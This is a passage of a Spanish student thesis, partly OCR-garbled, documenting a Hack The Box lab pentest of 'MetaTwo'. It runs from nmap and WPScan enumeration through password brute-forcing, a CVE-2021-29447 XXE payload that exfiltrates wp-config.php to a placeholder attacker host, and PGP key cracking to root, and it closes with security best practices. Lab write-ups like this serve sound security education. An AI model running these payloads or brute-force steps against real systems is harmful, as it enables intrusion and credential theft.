s @ @ collisions @

root
root
root
sgongor+

+

sudo
sudo

=]
+

+
mowmowmon

+

grep —coler

llustracién 18. Direccionamiento conexion OpenVPN
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3.2 Recopilaciéon de datos

En este apartado comienza la ejecucion del test de intrusion.

La primera fase, la de recopilacion de datos, se basa en la ejecucion de un
escaneo del sistema objetivo para determinar las caracteristicas de éste. Como
se comentd al inicio de este trabajo, se llevard a cabo una metodologia black
box dénde el Unico dato disponible sera la IP del sistema informético objetivo.

Para este trabajo, se escoge el sistema informatico denominado MetaTwo y el
anico dato que se dispone es la IP privada del sistema objetivo:

) HACKTHEBOX

@ MetaTwo

10.10.11.186

Submit Flag

llustracién 19. Sistema informatico MetaTwo

Inicialmente, se realiza un ping y una traza al sistema informatico objetivo para
verificar si se encuentra levantado y comprobar el nimero de saltos hacia este.

P sgongorab@kali: ~
File Actions Edit View Help

e =
ping 10.18.11.186
PING 18.10.11.186 (10.18.11.186) 56(84) bytes of da
64 bytes from 18.10.11.186: icmp_seqg=1 ttl=t i
64 bytes from 18.108.11.186: icmp_seq=2 ttl

A

— 10.10.11.186 pin
2 packets transmitted, 2 a 1082ms
rtt min/ave/max/mdev

-
traceroute -n 19.18.11.186
tra
1
2 18.18.11.186

68 byte packets

llustracién 20. Ping y traceroute hacia sistema objetivo
Mediante el valor que se muestra en el campo TTL (Time To Live) se puede

advertir que se trata de un sistema operativo Linux, que por defecto tiene valor
64, mientras que este valor en un sistema operativo Windows es 128.
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Tras el reconocimiento inicial, el primer paso en el escaneo es la ejecucion del
comando NMAP. En este punto, se realiza un analisis de los puertos TCP que
se encuentran abiertos ejecutando el comando: nmap -sT -n 10.10.11.186

= sgongorab@kali: ~

File Actions Edit View Help
e ~

nmap -sT -n 10.10.11.186
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-22 19:42 EST
Nmap scan report for 10.10.11.186
Host is up (0.032s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

llustracién 21. NMAP puertos TCP

Tras lanzar el escaneo, se aprecia que estan corriendo 3 servicios:
e FTP (File Transfer Protocol). Este servicio corre en el puerto 21/tcp
e SSH (Secure Shell). Este servicio corre en el puerto 22/tcp.
e HTTP. Este servicio correo en el puerto 80/tcp.

A continuacion, se realiza el mismo paso anterior, pero para el protocolo UDP:
nmap -sU -n 10.10.11.186 -T5. Este ultimo parametro sirve para lanzar un
escaneo mas rapido. Los escaneos se pueden realizar con mas o0 menos
agresividad. [23]

" sgongorab(@kali: ~

File Actions Edit View Help

] ~
sudo nmap -sU -n 18.10.11.186 -T5
Starting Nmap 7.92 ( https://nmap.org ) at -11-22 19:56 EST
Warning: 1©.18.11. giving up on port bec retransmission cap hit (2).
Nmap scan report for 10.18.11.186
Host is wup ( 31s late )
Mot shown: 981 open|filtered udp ports (no-response)
STATE SERVICE
closed pcmail-srv
ed timbuktu
mdbs_daemon
jstel
dls-monitor
epnsdp
X11:4

Nmap done: 1 IP address (1 host up) scanned in 13.76 seconds

llustracién 22. NMAP puertos UDP

Tras finalizar el escaneo se aprecia que no hay ningun puerto UDP abierto.
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Una vez se recopilan los puertos abiertos que tiene el sistema informatico
objetivo, se analiza con mayor profundidad el servicio que corre en cada uno de
los puertos abiertos para analizar las posibles vulnerabilidades posteriormente.

Para ello, se revisa la version de servicio que corre en cada uno de los puertos
abiertos detectados con el comando nmap -sVC -p<puerto>-n 10.10.11.186:

& sgongorab@kali: ~

File Actions Edit View Help

e
nmap -sVC - .
Starting Nmap 7.9 ap.org 20 19:45 EST

llustracién 23. Analisis puerto 21

= sgongorab@kali: ~

File Actions Edit View Help

Nmap 7. tps: //f ) a 19:45 EST
Nmap scan report @.
Host is up (0.03¢

ORT STATE SERVICE
/tcp open ssh
ssh-hostkey:

Service detection performed. Please report any incorre y: a 5 map.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 1.59

i sgongorab@kali: ~

Starting ap 7. ( ://nmap.org ) a 19:50 EST
Nmap an re
Host 1s up (
PORT STATE
irect to http etapress.htb/

5 ce detection performed. Please report any incorrect results at https: map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7 seconds

llustracién 25. Analisis puerto 80
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Con la salida del comando no se aprecia qué servicio esta corriendo en el
puerto 80, por lo que para obtener mas informacion se navega por la web.

Una vez probado el acceso por IP (http://10.10.11.186), se afade una entrada
en el fichero /etc/hosts relacionando esta IP y el nombre de la URL, ya que al
tratar de navegar por HTTP mediante la direccion IP se redirige al nhombre
(http://metapress.htb) y sin este registro el frontal web es inaccesible.

MetaPress — Official compan < +

O A metapress.htb

METAPRESS

Official company site

Welcome on boar

Programming languages

PHP B024

up to our lau )
Font scripts Databases

Miscellaneous

s themes

Search... Recent Posts

_ = R et

METAPRESS Proudly pow

llustracién 26. Frontal web sistema objetivo

Configurada la entrada es posible navegar por la web y verificar visualmente
que se trata de una web basada en WordPress. Ademas, la herramienta
Wappalyzer muestra que se trata de una version 5.6.2 por lo que desde este
punto se puede indagar sobre las vulnerabilidades de dicha version.

Antes de dicho paso, se realiza un escaneo mas exhaustivo de la web con la
herramienta WPScan ya instalada en el entorno Kali Linux, cuya finalidad es la
de escanear este tipo de frontales web WordPress. [24]

Se utilizan las opciones “u”, “vp” y “vt” correspondientes a las opciones de

mostrar usuarios, plugins vulnerables y temas vulnerables. Asi pues, se ejecuta
el comando: wpscan --url http://metapress.htb -e u vp vt
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http://metapress.htb/

/ Automatti

hicalha

aders (
100%

found: http://
g Entries:

/wp~3

Found By:

Author Pattern (Passive Detection)

Fou

Confi

at http pscan. com/

llustracién 27. Salida comando WPScan

En la salida del comando wpscan ejecutado se aprecian datos interesantes,
como son las entradas /wp-admin y los users, “admin” y “manager”, informacion
valiosa para poder realizar un ataque por fuera bruta en la fase de exploiting.

Segun estos datos, el ataque por fuerza bruta se puede llevar a cabo desde la

pagina /wp-admin ya que se redirige a su vez a la pagina de login /wp-login.php
de la plataforma WordPress que se audita.
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3.3 Anadlisis de vulnerabilidades

Con los datos recopilados en el apartado anterior, se realiza el analisis de
vulnerabilidades con las que poder realizar exploiting en la siguiente fase. Para
ello, se verifican los servicios y tecnologias descubiertos con Wappalyzer y
NMAP en el apartado anterior.

Primero de todo, se revisa el servicio FTP y se aprecia que no se dispone de
version. Para ello se accede a la herramienta metasploit y se verifica que
existen diversos exploits para poder llevar a cabo.

msf6 > search —filter exploit proftpd

Matching Modules

ProFTPD
ProFTPD
ProFTPD
ProFTPD
ProFTPD-1

Interact with a module by name or index. For example C or

llustracién 28. Verificacion vulnerabilidades servicio FTP

De igual forma se verifican los posibles exploits existentes para el servicio
OpenSSH descartando esta via puesto que Unicamente existe un unico exploit
y es para un sistema operativo Windows.

msf6 > search -——filter exploit openssh

Matching Modules

# Name re Date Rank

Unguoted S Path Privilege Escalation

Interact with a module by name or index. For example

llustracién 29. Verificacion vulnerabilidades servicio SSH

Finalmente, se analiza el servicio HTTP levantado en el sistema objetivo, un
WordPress. Se realiza la blusqueda en mestasploit y devuelve un extenso
listado con 110 entradas de los cuales la gran mayoria son del médulo exploits,
por lo que se realiza una busqueda mas extensa de informacién a través de un
navegador ya que parece ser el punto de entrada al sistema mas factible.

Handling Vulnerability

good
norma

" llustracién 30. Verificacion vuInerbiIidaes WordPress

Con Wappalyzer se identifica que se trata de un WordPress versién 5.6.2, por
lo que al realizar la busqueda “wordpress 5.6.2 vulnerabilites” en un buscador,
en el primer enlace del listado, referenciando a una web de WPScan, se
facilitan las vulnerabilidades existentes para dicha version e informacion de
coémo llevar a cabo los exploitings. [25]
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3.4 Exploiting

Primero de todo, con los usuarios de WordPress obtenidos mediante WPScan
en la fase inicial de escaneo, se ejecuta un ataque por fuerza bruta con esta
misma herramienta. Para ello, se referencia el fichero “rockyou.txt” ubicado en
la ruta “/usr/share/wordlist/” el cual contiene un listado de las contrasefias mas
comunes y se encuentra precargado en la distribucion Kali Linux:

wpscan --url http://metapress.htb --usernames manager,admin --
passwords /usr/share/wordlists/rockyou.txt

Una vez obtenida la combinacién de la contrasefia del usuario “manager”
mediante fuerza bruta, se accede mediante navegador al frontal web.

ckstar
Time: @2: < > (110340 / 144

s Fou
r, Password: partylikearockstar

API Token given, as a sult vulnerabili s not been outp
25 daily requests by istering at https pscan.com/register

Profile « MetaPress — WordF X "

O & metapress.htb/wp-admin/profile.php

@ MetaPress = New

el Profile

Personal Options

llustracién 31. Obtencién de contrasefiay acceso WordPress

Tras navegar por el frontal web se verifica que el usuario tiene permisos
limitados y Unicamente existe la posibilidad de subir ficheros del tipo media.

Dashboard « MetaPress—\\ X metap
O & metapress.htb/wp-adminfindex.php

@ MetaPress = New

Dashboard

[RELIE] WordPress Events and News

Library
Enter your closest city to find nearby events. g*

Welcome on board!
City:| Cincinnati |

Submit | Cancel

RSS Error: WP HTTP Error: A valid URL was not provided.

RSS Error: WP HTTP Error: A valid URL was not provided.

Meetups ' WordCamps [ News [

llustracién 32. Apartado Media en WordPress
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Llegados a este punto, se revisa de nuevo el enlace de WPScan obtenido en la
fase de analisis de vulnerabilidades donde se comprueba que hay una entrada
relacionada con un exploit del apartado “media library”. [26]

En dicha entrada se pone de manifiesto la prueba de concepto para llevar a
cabo el exploit y se referencia la vulnerabilidad CVE-2021-29447. Al buscar
mas informacion de dicha referencia se verifica que se trata de un vector de
ataque XXE (XML External Entity) con el que se puede definir un cédigo XML
malicioso dentro de un fichero de tipo media, el cual en el momento que el
sistema objetivo lo analiza permite extraerle informacion. [27]

Para ello, teniendo en cuenta que en la web Unicamente se pueden subir
ficheros tipo media, se generan 2 ficheros con los cédigos facilitados en el
enlace de la vulnerabilidad; uno en formato *.wav, para que la web permita la
subida, y otro en formato *.dtd en local al cual se hara la llamada desde el
fichero *.wav subido al WordPress, una vez éste sea analizado:

Fichero *.wav:

echo -en 'RIFF\x85\x00\xO00\xOOWAVEIXML\x79\x00\x00\x00<?xm|
version="1.0"?><IDOCTYPE ANY[<!ENTITY % remote SYSTEM

""http://IP_ATACANTE:PUERTO/MIEVvil.dtd""">%remote;%init;%trick;]>\x00'
> mipayload.wav

Fichero *.dtd:
<IENTITY % file SYSTEM "php://ffilter/read=convert.base64-

encode/resource=../wp-config.php"> <!IENTITY % init "<IENTITY &#x25; trick
SYSTEM 'http://IP_ ATACANTE:PUERTO/?p=%file;'>" >

Se adecua el codigo de ambos ficheros con la IP del sistema atacante y el
puerto del servidor HTTP que se deja en escucha previo a la subida:

llustracién 33. Configuracién de ficheros para vector de ataque XXE

Una vez creados, se realiza la subida del fichero *.wav en la web de WordPress
y se verifica la ingesta de datos en la CLI local donde se levanta el servidor
HTTP con el comando de Python: python3 -m http.server 8069

llustracién 34. Ingesta de datos servidor HTTP
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El cédigo obtenido en la ingesta, en base 64, se inserta en un fichero y se
decodifica para transformarlo en un lenguaje legible:

llustracién 35. Decodificacion de datos en base 64

Con las credenciales obtenidas tras decodificar el fichero, se verifica que se
puede acceder al servicio FTP que tiene levantado el sistema objetivo:

sgongorab@kali: ~

File Actions Edit View Help

llustraciéon 36. Acceso servidor FTP

Una vez dentro comprobados los ficheros contenidos en las carpetas, “raiz”,
“blog” y “mailer”, se descarga en local los ficheros que resultan mas llamativos;
“get /blog/.htacces” y “get /mailer/send_email.php”.

En la revision del contenido de ambos ficheros se comprueba que en el fichero
.htaccess, oculto en la carpeta blog, no se encuentra ningun dato revelador que
facilite el acceso al sistema objetivo, no asi el fichero send_email.php,
contenido en la carpeta mailer, que contiene usuario y contrasefia de un
usuario denominado “jnelson@metapress.htb”.

Por lo tanto, se puede determinar que es un usuario de acceso al sistema
objetivo puesto que, como se realizd en la fase inicial de reconocimiento y
recopilacion de datos, se defini6 el host metapress.htb como la IP
10.10.11.186.
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Con los datos obtenido, se prueba el acceso al sistema objetivo mediante ssh
obteniendo un resultado satisfactorio:

o ~/tmp/MetaTwo/ftp
email.php

o all our users when ready for launch

eption;

ption.php";

lailer.php”;
'SMTP.php " ;

$mail = new PHPMailer(true);

$mail—Host = "mail.
i TPAuth

$mail—From = "jnelson@metapress.htb”;
$mail—FromName = "James Nelson”;

$mail—addAddress("info@metapress.htb”);

$mail—isHTML(true);

fully”™;

" . $mail—ErroriInfo;

2 ~/tmp/MetaTwo/ftp
ssh jnelst press.hth

authentic C ost °

print])?
list of

The p ams included with the Debian GNU
the ex each prog

Debian GNU/ \ RANTY,
permitted b
rom 10.10.14

llustracién 37. Exploit a sistema informatico objetivo
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3.5 Post-exploiting

Una vez logrado el acceso al sistema objetivo, con el usuario “jnelson”, se lleva
a cabo la escalada de privilegios para ser root del sistema. Para ello, una vez
dentro del sistema objetivo es de suma importancia revisar a qué contenido se
tiene acceso y tratar de encontrar contrasefias y/o ficheros con permisos que
otorguen tal propésito.

Asi pues, al acceder al sistema por SSH con el usuario “jnelson” el path donde
se ubica al atacante es “/home/jnelson” y desde ese directorio se lista todo el
contenido existente con el comando Is -la.

En este punto se aprecian varias carpetas ocultas, una de ellas denominada
“.passpie/” que en su interior contiene 2 ficheros ocultos (“.config” y “.keys”), asi
como un directorio nombrado “ssh/” que contiene dos ficheros nombrados
“‘Inelson.pass” y “root.pass”, encriptados en formato PGP (Pretty Good Privacy).

Se comprueba el contenido del fichero “.keys” ubicado en el directorio superior
y se aprecian que estan definidas las claves publicas y privadas en formato
PGP, por lo tanto se pueden desencriptar las contrasefias de los usuarios
“‘Inelson” y “root”. Se guarda la clave privada en el sistema local para tratar de
crackear la contrasefia.

e ~/tmp/MetaTwo/postexploit
cat metatwo.priv
BEGIN PGP PRIVATE KEY BLOCK——

llustracién 38. Clave privada PGP

Para obtener en texto plano la clave privada de encriptacién existe un método
que permite cambiar el formato de encriptacion PGP a un formato legible para
John the Ripper y, de este modo, crackear la contrasefia por fuerza bruta. [28]

Primero de todo, se realiza la transformacién de formato PGP a uno legible:
gpg2john metatwo.priv > jnelson.decrypt

Finalizado este proceso, se ejecuta John the Ripper para poder aplicar fuerza
bruta y cracker la contrasefia. Para ello, se referencia un wordlist de la propia
herramienta: john jnelson.decrypt —wordlist=/usr/share/wordlists/john.Ist

~ftmpreiaTwofpos:explnit
crypt —wordlist=/us -

for all loade
ish 11:Camelli

the [
ion completed.

llustracién 39. Fuerza bruta con John the Ripper
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Una vez obtenida la contrasefia de encriptacion necesaria se accede a una
pagina para encriptar y/o desencriptar PGP y se afiade el cédigo de la clave
privada, asi como la de ssh del usuario “root” y la contrasefia de encriptacion
obtenida en el paso anterior. [29]

PGP Encryption & Decryption

Encrypt/Decrypt PGP Message

O Encrypt message
® Decrypt message

PGP Message

o o T T L i

krndoGVYhaMMNm10Fek5i1bSsET/L4pdyglwNODIdTh7iB0ksB/8PHPURMMNuUGgmekw
mboSTxLImNIVyRLWWE0TOHO + LegRXn 1jMnx6X|jOZRo08kigzV2NaGGIpOIMr3Sr
|pFORatbxQGWBks5F30=

=uh1B

-----END PGP MESSAGE-----

PGP Private Key

AghMBAh4BAheAAACIEDh3dcNXRIIDRFOA/IVES3ad2WIc1fgb2 + X7 TcuCaKWkDkde -
qalFZ3bhSFVIAP4qQITyXjBXZU4+Rd +gZKp77UNFdqeCyhGl1 GpAlyyERDZOBXwWRI
UFFWEAQARBp/XWPRHEN +P LXw)f0OL8mXGCebh2gUeROZmpFkFK4AzXESSE0ZMWNE)
CBcYy2EePd5ueDYC9iN3HTEYIhAUZRVIUTT 32CYEThw jbmGFLy xS TjH wd 3dXT
+PyrTxF+odQ6a5ERTHZrCkSEF7 /7aGMHAUCKuIWrgTRRI DovicAAwWUD /160 +5q+
ZplPakkaWOThBCENdCWsBKIQcPgZoyoEYTmOmpuSndMmowX15gMrmcUFEURSpYY
jqRETGPPjwLIawszfV+r7q+P/jTD09usYYFglglj/Oid7UNT 13ThYKyxKLONNSG
JiUHAWQExFeqBeD22pTloueyrybCRIEIV/gcDASPHTCSRgia/1PrEXACO3 +4
VxHfl4p2KFuza9hwaok3jrRS7D9CMS 11K, IkMehvovyvetNXwXUotoEYeqoDZWVEB
J2hOnXerWPkMKRrrfYh4BBgRCAAQFIEEfGeGp1YbyE9QSGoeOHd 1w1dFOgMFAmMEKS
VIYCGwWwACgkQOHd 1w1dFigOm5gD9GUOIB+Jx/FETTARELFAXFOBYZgTmg/NUEC+P
03KGdMNga/ 04 hPjdM3wrzjU3gmrLfoskl+w2uXLaw+bI T1XZurDN
=7TUob
-----END PGP PRIVATE KEY BLOCK-----

Passphrase

Decrypt PGP Message
prgfAZtd_Alxo_Ox

message integrity check passed
llustracién 40. Desencriptacion contrasefia PGP
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Finalmente, con la contrasefia se accede como root ganando el control del
sistema.

jnelsonameta2: $ su root
Password:
root@meta2:/home/jnelson/.passpie/ssh# whoami
root

root@meta2:/home/jnelson/.passpie/ssh# cd
root@meta2:~# 1s -1

total 8

drwxr-xr-x 2 root root 4096 Oct 5 15:12 restore
-Tw-r 1 root root 33 Dec 7 21:08 root.txt
rootgmeta2:~# cat root.txt
dlbc2e6415Ff5ff90e824Ff4998bc9ch@

rootameta2:~# i

llustracién 41. Acceso como root

3.6 Informe final

Una vez finalizado el test de intrusion a los sistemas objetivos, se realiza una
documentacion en la que se exponen los fallos encontrados en términos de
seguridad. Para ello, se comienza el informe poniendo de manifiesto el sistema
afectado y la problematica encontrada en éste, junto con un breve resumen
explicando en qué punto del sistema se encuentra la vulnerabilidad.

A continuacion, se ejemplifica el proceso con cada uno de los pasos llevados a
cabo y explicando las técnicas utilizadas en cada uno de éstos para vulnerar el
sistemay realizar el escalado de privilegios para conseguir ser administrador.

Una vez expuesto el proceso de pentesting, se expone una conclusioén sobre
las vulnerabilidades encontradas con una evaluacion de la criticidad sobre la
integridad de la infraestructura, asi como un seguido de recomendaciones de
buenas practicas para mitigar las brechas de seguridad detectadas. [30]

OFFENSIVE
SEEUFTLY

MWWITTETISITESECITYILONT PeNETRATION TEST REPORT — MIEGACORP ONE

Recommendations

Due to the impact to the overall organization as uncovered by this penetration test, appropriate
resources should be allocated to ensure that remediation efforts are accomplished in a timely manner.
While a comprehensive list of items that should be implemented is beyond the scope of this

engagement, some high level items are important to mention.
Offensive Security recommends the following:

1. Ensure that strong credentials are use everywhere in the organization. The compromise of
MegaCorp One system asdrastically impacted by the use of weak passwords as well asthe reuse
of passwords across systems of differing security levels. NIST 5P 800-11° is recommended for
guidelines on operating an enterprise password policy. While this issue was not widespread

within MegaCorp One, it was still an issue and should be addressed.

llustracién 42. Ejemplo de recomendaciones en informe final
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3.7 Best practices

En este apartado se expone un seguido de buenas practicas para securizar los
sistemas, donde se hace especial énfasis al ambito laboral, pero también se
puede aplicar en el personal.

Para ello, en gran medida se basara este conjunto de buenas practicas sobre
uno de los documentos aportado por el CCN (Centro Criptologico Nacional).
Esta division trata constantemente de reportar un seguido de buenas practicas
para afrontar las evolutivas y constantes ciberamenazas. [31]

A continuacioén, se segmentan las buenas préacticas en distintos ambitos:

Concienciacion

e Formacion contra phishing / smishing / vishing

El mayor riesgo en términos de ciberseguridad reside en los propios
usuarios, es el punto de acceso a los sistemas informéaticos mas vulnerable.

Concienciar sobre llevar a cabo una buena praxis en el trato de informacion
sensible es el punto mas importante en la prevencion de riesgos y evasion
de ingenieria social.

En términos de ciberseguridad, es importante realizar cursos y campafas
para detectar y evadir técnicas de phishing, smishing y/o vishing, tanto
tedricas como practicas. Este hecho de concienciacién sobre los peligros
que conlleva facilitar informacion sensible proporciona la creacion de un
entorno seguro en ambito laboral y personal.

Acceso
e Establecimiento de contrasefias complejas

La definicién de directivas para establecer contrasefias complejas en una
GPO (Group Policy Object) del directorio activo, y con la obligatoriedad de
actualizacion recurrente cada determinado tiempo, es una buena préactica
para fortalecer el entorno y evitar intrusiones no deseadas.

e Establecimiento de autenticacion por factores

En caso de verse comprometido un acceso al sistema, por sustraccion de
credenciales por parte de un tercero, la activacion en la autenticacion del
MFA (Multi Factor Authentication) dota al entorno de mayor robustez al
obligar a realizar al usuario una validacion personal que puede evadir
intrusiones no deseadas y, de este modo, reportar dicha situacion de riesgo.

Este factor adicional de autenticacion se puede realizar mediante la

introduccién de un codigo pin, una segunda contrasefia, un patron, una
pregunta de seguridad definida por el usuario y/o un factor biométrico.
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Sequridad
e Segmentacion y microsegmentacion de red

Uno de los puntos mas importantes para evadir riesgos de seguridad es
disefiar y desplegar una correcta arquitectura de red, (micro)segmentada y
gestionada mediante cortafuegos internos y perimetrales.

A nivel de cortafuegos interno, las diferentes capas de red que componen la
infraestructura deben comunicarse entre si a través de los firewalls y ahi se
definen las politicas necesarias para permitir o denegar las comunicaciones
entre origen y destino, teniendo en cuenta el flujo de comunicaciones.

Al realizar segmentacion de red, el trafico que transcurre de un determinado
segmento de red hacia el exterior se denomina trafico norte-sur. Por otro
lado, la microsegmentacion contempla la comunicacion entre servidores y/o
aplicaciones entre distintos segmentos de red, pero sin llegar a salir de la
infraestructura. Este trafico es denominado tréfico este-oeste. [32]

=0 (e]) (\ [s]e]e}
=] o] 000 o
' " ©ag, O,

Containers On-demand
as-a-service Containers

Il Virtual

i Machines Containers

llustracién 43. Trafico norte-sur y este-oeste

De este modo, con una buena definicion de politicas entre las diferentes
capas de la arquitectura de red, se controla el trafico norte-sur y este-oeste
y se dota al entorno de una mayor robustez evitando movimientos laterales
entre los sistemas que conforman la infraestructura. En definitiva, se trata
de aplicar una filosofia de confianza cero incluso dentro del entorno.

A nivel de cortafuegos externo, se deben utilizar equipos con funcionalidad
IDS (Intrusion Detection System) y/o IPS (Intrusion Prevention System) para
detectar y prevenir posibles intrusiones dentro de la infraestructura y de este
modo ser capaz de mitigarlo.
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e Separacion de entornos de trabajo

Es de suma importancia separar los entornos de desarrollo, preproduccion y
produccion. Estos dos ultimos deberian ser una copia uno del otro,
pudiendo presentarse el de preproduccién en menor escala, pero al final
emulando el servicio prestado por el entorno productivo.

Con el fin de ahorrar costes, en ocasiones no se cumple esta buena praxis
gue puede conllevar a que fallos en el entorno de preproduccion faciliten el
acceso al entorno productivo si estos no estan bien segmentados.

e Auditoria interna “white box” recurrente

Con la finalidad de comprobar la robustez y seguridad de la infraestructura
es necesario realizar recurrentemente auditorias internas de los sistemas
desplegados a lo largo de todo el entorno.

Con el conocimiento de los equipos desplegados y servicios en ejecucion
en los diferentes sistemas, se puede considerar basico realizar auditorias
white box por parte de personal con conocimientos en seguridad, con el fin
de mantener el negocio alejado de las brechas de seguridad.

Monitoreo
¢ Revision de permisos

En los sistemas basados en Unix existen permisos especiales otorgables
(setuid, setgid y sticky bit) que pueden ser utilizados para elevarse permisos
y llegar a ser administrador del sistema. Es conveniente revisar de forma
rutinaria estos permisos especiales para evitar esta posible casuistica. [33]

e Listado de equipos y servicios

Disponer de una CMDB actualizada facilita la identificacion de equipos y/o
servicios existentes dentro de la infraestructura que pueden verse
comprometidos por una vulnerabilidad nueva y optimiza la respuesta ante
posibles brechas de seguridad.

¢ NIDS, Syslog & SIEM

Esnifadores de red, servidores de logs de los sistemas y correladores de
eventos son elementos basicos para conocer la salud de los sistemas y qué
sucede en éstos. Disponer de sistemas de monitoreo es uno de los puntos
mas importantes dentro de una infraestructura ya que aporta una vision real
e instantanea del estado del entorno.

Este tipo de herramientas son basicas para gestionar correctamente una
infraestructura y llevar a cabo una operativa de negocio resiliente, ademas
de facilitar la posibilidad de tener una rapida respuesta ante eventos
adversos dentro del entorno.
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Continuidad de negocio

e Disaster Recovery Plan

Se considera necesario disponer de un plan de recuperacion ante desastres
para ofrecer un servicio lo menos disruptivo posible para la experiencia del
usuario, es decir, que sea lo mas transparente y tolerante a fallos posible.

Una vez evaluado el impacto que puede ocasionar en la continuidad de
negocio un ciberataque a la infraestructura, entre las diferentes etapas del
plan de recuperacion de desastres se pueden destacar las siguientes:

©)

Plan de accion: se define qué hacer y como en caso de incidental
Contactos: se define los contactos de emergencia

Roles y responsabilidades: se define quién y qué gestiona cada
persona y/o equipo

Procedimientos de recuperacion: se define en qué orden se procede
para dejar de nuevo el entorno productivo

Procedimiento de conmutacion: se define como retorna la operativa a
su estado inicial

Lecciones aprendidas: se documenta el proceso llevado a cabo y los
posibles puntos de mejora para futuras ocasiones

01 ”

Assemble
Plan

Appoint
Emergency Contacts

AR
R
Assign Roles &
: Responsibilities
& os 4 Disaster 03
[ Recovery Plan
v Testing & b e e s \4
Maintenance h
-
-

Restore Technology Data & Back
Functionality Ups Location

¢ -3

llustracién 44. Disaster recovery plan

En caso de crear un plan de recuperacion ante desastres automatizado dota
de robustez al entorno, puesto que puede evitar una mayor disrupcion del
servicio y facilitan la puesta en marcha del servicio mas rapidamente.
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e Aislamiento del exterior

Aislar un entorno del acceso desde el exterior, y parar una posible intrusion
de un ciberatacante, puede evitar amenazas a la continuidad de negocio.

Este hecho crea una sandbox, un entorno seguro en términos de intrusiones
donde se puede analizar con detenimiento si existe alguna brecha de
seguridad en la infraestructura que pueda comprometer el negocio y facilita
la oportunidad de mitigarla.

En caso de estar este proceso automatizado puede evitar un mayor impacto
en la continuidad de negocio, aportando més seguridad a la infraestructura.
Al no depender del criterio humano, sino de umbrales y triggers definidos
adecuadamente, la respuesta puede ser practicamente instantanea.
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4. Conclusiones

La realizacion de este trabajo final de grado me ha permitido explorar un nuevo
ambito en el cual queria iniciarme desde hacia tiempo: la ciberseguridad.

El desarrollo de este trabajo ha sido un proceso personal muy enriquecedor, a
la par que dificil, puesto que existe un numero finito, pero muy extenso, de
técnicas y herramientas que facilitan la ejecucion de las tareas necesarias para
auditar un sistema informatico, tal y como se ha expuesto en este trabajo.

El hecho de no disponer de background técnico previo en la materia, en
relacion con la existencia de una gran variedad de vectores de ataques,
técnicas y herramientas para ejecutar un pentesting, me ha conllevado dedicar
una elevada cantidad de tiempo para relacionar las diferentes herramientas a
utilizar durante el caso practico en relacion con las vulnerabilidades detectadas,
todo ello con un objetivo claro: vulnerar un sistema informatico.

Las lecciones aprendidas durante la ejecucién de este trabajo han sido la
adquisicion de conocimiento de una gran variedad de herramientas de
reconocimiento y exploiting que me han permitido avanzar a lo largo de las
distintas fases del pentesting, ademas de una mayor concienciaciéon de la
importancia de tener los sistemas informéticos totalmente actualizados.

Cabe destacar que al finalizar la fase de exploiting satisfactoriamente, una vez
comienza la fase de post-exploiting es necesario llevar a cabo las fases de
recopilacion de datos y andlisis de vulnerabilidades de nuevo, una vez dentro
del sistema obijetivo.

Asi pues, se puede confirmar que se ha seguido tanto el método planteado
como la planificacién elaborada inicialmente.

Finalmente, tras documentarme para realizar este trabajo y conocer la situacién
actual en términos de ciberseguridad. Se puede confirmar que si continlda la
tendencia actual en el futuro se presenta una situacion de necesidad de
crecimiento en esta area para que la seguridad de la informacion sea un hecho
consumado y continue aportando valor a las entidades.

Dado el exponencial crecimiento de ciberatagues que ocurren diariamente a
empresas, entidades y organismos publicos, cabe destacar que actualmente en
el mercado existe una gran demanda de profesionales por lo que es una buena
oportunidad para realizar una expansion de este ambito.
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5. Glosario
RRSS
PYME
SARS-CoV-2
INCIBE
UuIT
TFG
CVE
ATT&CK
CMDB
OVA
NMAP
uoC
HTTP
HTTPS
TCP
SQLi
XSS
TI
CLI
URL
HTB
VPN
SSL

TTL

Redes sociales

Pequefia y Mediana Empresa

Severe Acute Respiratory Syndrome Coronavirus 2
Instituto Nacional de Ciberseguridad

Union Internacional de Telecomunicaciones
Trabajo Fin de Grado

Common Vulnerabilites and Exposures
Adversarial Tactics, Techniques, and Common Knowledge
Configuration Management DataBase
Open Virtual Appliance

Network Mapper

Universitat Oberta de Catalunya

Hypertext Transfer Protocol

Hypertext Transfer Protocol Secure
Transmission Control Protocol

SQL Injection

Cross-Site Scripting

Tecnologias de la Informacién
Command-Line Interface

Uniform Resource Locator

Hack The Box

Virtual Private Network

Secure Socket Layer

Time To Live
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FTP

SSH

XXE

PGP

CCN

GPO

MFA

IDS

IPS

File Transfer Protocol
Secure Shell

XML External Entity

Pretty Good Privacy

Centro Criptolégico Nacional
Group Policy Object

Multi Factor Authentication
Intrusion Detection System

Intrusion Prevention System
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